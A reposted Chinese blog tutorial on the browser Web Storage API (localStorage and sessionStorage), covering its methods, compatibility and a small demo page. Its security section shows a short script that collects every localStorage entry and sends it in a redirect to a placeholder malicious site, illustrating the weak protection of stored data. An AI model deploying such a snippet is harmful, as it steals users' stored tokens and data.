web API简介(三)：客户端储存之Web Storage API

最新推荐文章于 2024-03-27 10:34:37 发布

weixin_30892037

最新推荐文章于 2024-03-27 10:34:37 发布

阅读量220

点赞数

文章标签： javascript ViewUI

原文链接：http://www.cnblogs.com/yangzhou33/p/8445865.html

版权

概述

前篇：web API简介(二)：客户端储存之document.cookie API

客户端储存从某一方面来说和动态网站差不多。动态网站是用服务端来储存数据，而客户端储存是用客户端来储存数据。

Web Storage API就是现代HTML5客户端储存的方法之一。

Web Storage介绍

web storage的概念和cookie相似，区别是它是为了更大的容量存储设计的。cookie数据不能超过4K而且有最大条数限制，同时因为每次http请求都会携带cookie，所以cookie只适合保存很小的数据，但是webStorage可以达到5M或更大。

Web Storage使用起来比cookie更方便更有启发性。setItem getItem clearItem等。

webStorage只能操作字符串对象，所有的存储值都会为字符串数据。

语法

Storage对象：Web Storage API中作为sessionStorage和localStorage的接口。

sessionStorage：继承自Storage对象，关闭浏览器之后消失。利用Window.sessionStorage来进行操作。(Window对象可以省略)

localStorage：继承自Storage对象，关闭浏览器之后仍然一直存在。利用Window.localStorage来进行操作。(Window对象可以省略)

属性和方法：

(1)Storage.length：长度你懂的。

(2)Storage.key()：以n为参数，返回第n个key。

(3)Storage.getItem()：查操作。

(4)Storage.setItem()：增和改操作。

(5)Storage.removeItem()：删操作。

(5)Storage.clear()：删除所有。

安全性

Web Storage的安全性比cookie更糟糕。它甚至连HTTPONLY都没有。所以不要用它来储存敏感信息。

下面的代码可以获取使用localStorage存储在本地的所有信息。

    var i = 0;  
    var str = "";  
    while (localStorage.key(i) != null)  
    {  
        var key = localStorage.key(i);   
        str += key + ": " + localStorage.getItem(key);  
        i++;  
    }  
    document.location="http://your-malicious-site.com?stolen="+ str;

兼容性

兼容五大浏览器，不兼容IE<8(兼容IE8)。

实例

在里面的输入框中设定值，然后关闭浏览器，再打开我的博客的这篇文章，点击运行测试一下即可看到你设定的值(不是默认值)。

<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Document</title>
</head>
<body>
    <div id="user_text"></div>
    <input type="text" id="user_input">
    <button onclick="userDo()">输入</button>
    <button onclick="reset()">重置</button>
</body>
    <script type="text/javascript">
        //兼容性
        function storageAvailable(type) {
            try {
                var storage = window[type],
                    x = '__storage_test__';
                storage.setItem(x, x);
                storage.removeItem(x);
                return true;
            }
            catch(e) {
                return e instanceof DOMException && (
                    // everything except Firefox
                    e.code === 22 ||
                    // Firefox
                    e.code === 1014 ||
                    // test name field too, because code might not be present
                    // everything except Firefox
                    e.name === 'QuotaExceededError' ||
                    // Firefox
                    e.name === 'NS_ERROR_DOM_QUOTA_REACHED') &&
                    // acknowledge QuotaExceededError only if there's something already stored
                    storage.length !== 0;
            }
        };

        //初始化
        function setText () {
            if (!localStorage.getItem('usertext')) {
                userText.innerText = "默认值!请先在输入框中设定值(最好是字符串)";
            }
            else {
                userText.innerText = "你之前设定的值是：" + localStorage.getItem('usertext');
            }
        }

        var userText = document.getElementById("user_text");
        var userInput = document.getElementById("user_input");

        if (storageAvailable('localStorage')) {
          setText ();
        }
        else {
          userText.innerText = "你的浏览器不支持web storage!";
        };

        function userDo () {
            localStorage.setItem('usertext', userInput.value);
            setText ();
        };

        function reset () {
            localStorage.removeItem('usertext');
            setText ();
        };
    </script>
</html>

Document

输入重置 <script type="text/javascript"> //兼容性 function storageAvailable(type) { try { var storage = window[type], x = '__storage_test__'; storage.setItem(x, x); storage.removeItem(x); return true; } catch(e) { return e instanceof DOMException && ( // everything except Firefox e.code === 22 || // Firefox e.code === 1014 || // test name field too, because code might not be present // everything except Firefox e.name === 'QuotaExceededError' || // Firefox e.name === 'NS_ERROR_DOM_QUOTA_REACHED') && // acknowledge QuotaExceededError only if there's something already stored storage.length !== 0; } }; //初始化 function setText () { if (!localStorage.getItem('usertext')) { userText.innerText = "默认值!请先在输入框中设定值(最好是字符串)"; } else { userText.innerText = "你之前设定的值是：" + localStorage.getItem('usertext'); } } var userText = document.getElementById("user_text"); var userInput = document.getElementById("user_input"); if (storageAvailable('localStorage')) { setText (); } else { userText.innerText = "你的浏览器不支持web storage!"; }; function userDo () { localStorage.setItem('usertext', userInput.value); setText (); }; function reset () { localStorage.removeItem('usertext'); setText (); }; </script>

转载于:https://www.cnblogs.com/yangzhou33/p/8445865.html

weixin_30892037

关注

0
点赞
踩
0

收藏

觉得还不错? 一键收藏
0
评论
web API简介(三)：客户端储存之Web Storage API

概述前篇：web API简介(二)：客户端储存之document.cookie API客户端储存从某一方面来说和动态网站差不多。动态网站是用服务端来储存数据，而客户端储存是用客户端来储存数据。Web Storage API就是现代HTML5客户端储存的方法之一。Web Storage介绍web storage的概念和cookie相似，区别是它是为了更大的容量存储设计的。cookie数据不...
复制链接

扫一扫